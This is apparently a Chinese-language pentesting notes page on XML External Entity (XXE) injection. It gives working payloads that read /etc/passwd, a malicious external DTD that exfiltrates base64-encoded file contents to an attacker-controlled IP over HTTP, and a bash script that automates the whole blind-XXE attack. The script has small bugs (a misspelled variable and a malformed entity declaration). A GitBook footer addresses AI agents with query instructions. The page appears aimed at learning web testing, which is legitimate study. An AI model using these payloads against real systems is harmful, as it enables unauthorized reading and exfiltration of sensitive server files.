> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).

# XXE 技术

以下是使用 Burp Suite 处理的请求结构，适用于存在 XML 漏洞的网站：

<figure><img src="/files/eb0f0a68894c12089f5a54a1f1df5e56ece768d0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e3a4cebbea8b055fa73e3eff99e0107794e4e2bb" alt="" width="563"><figcaption></figcaption></figure>

## XML 外部实体注入：

> 在 Web 服务器没有正确验证其接收的 XML 数据的情况下，攻击者可以通过注入一个包含对服务器可访问系统文件引用的恶意 XML 实体来利用 XXE。这可以使攻击者获取系统的敏感信息，例如密码、用户名、API 密钥以及其他机密数据。要访问文件系统，我们应该创建一个新的 **实体**，例如，“myFile”，如下： `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` 然后，在一个变量中，我们应该用“**/\&myFile**”像这样：

<figure><img src="/files/014ab347c58dd9352d96a0effda7e8a780486cf3" alt=""><figcaption></figcaption></figure>

有时，结果不会正确显示。在这种情况下，我们可以使用下面的声明： `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>` 然后，我们将生成的 base64 内容解码回其正常形式。这会重定向到一个文件系统，例如“/etc/passwd”，并通过用“/\&myFile;”打印它，我们就可以无错误地查看该文件的内容。

## 带外交互的 XXE：

> 有时，XML 外部实体注入攻击（XXE）并不总是会在服务器响应中直接泄露敏感信息。在某些情况下，攻击者必须采用“盲打”方式，通过额外技术获取机密信息。执行盲 XXE 的一种常见方法是发送特制请求，使服务器连接到外部定义的文档类型定义（DTD）。DTD 用于验证 XML 文件结构，并且可以包含对外部资源的引用，例如服务器文件系统上的文件。创建一个文件 **malicious.dtd** ，内容如下：

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.71.128/?file=%file;'>">
%eval;
%exfil;

```

创建一个 **实体** ，内容如下：

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.71.128/malicious.dtd"> %xxe;]>

```

<figure><img src="/files/4ea09714bd73fee9ac3fd109e10ca1b753ef729d" alt=""><figcaption></figcaption></figure>

在以下端口启动监听器： **80 端口**:

<figure><img src="/files/f5f719537a2e9012095da4fb1447e77cbb13bc31" alt="" width="563"><figcaption></figcaption></figure>

获取以下内容中的内容 **base64**:

<figure><img src="/files/f5f719537a2e9012095da4fb1447e77cbb13bc31" alt="" width="563"><figcaption></figcaption></figure>

将……转换为 **base64** 值为可读内容，结果如下：

<figure><img src="/files/13b08ad5597e5fdf3ac3aa1c44b170b12ec11f04" alt="" width="563"><figcaption></figcaption></figure>

下面的 Bash 脚本可自动化整个过程：

```bash
#!/bin/bash
echo -ne "[+] Enter the file to read: " && read -r myFilename
malhereuos_dtd="""
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.0.50/?file=%file;'>">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://192.168.0.50/malicious.dtd"> %xxe;]>
<root><name><email>test@test.com</email></name></root>' &>/dev/null
cat response  | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
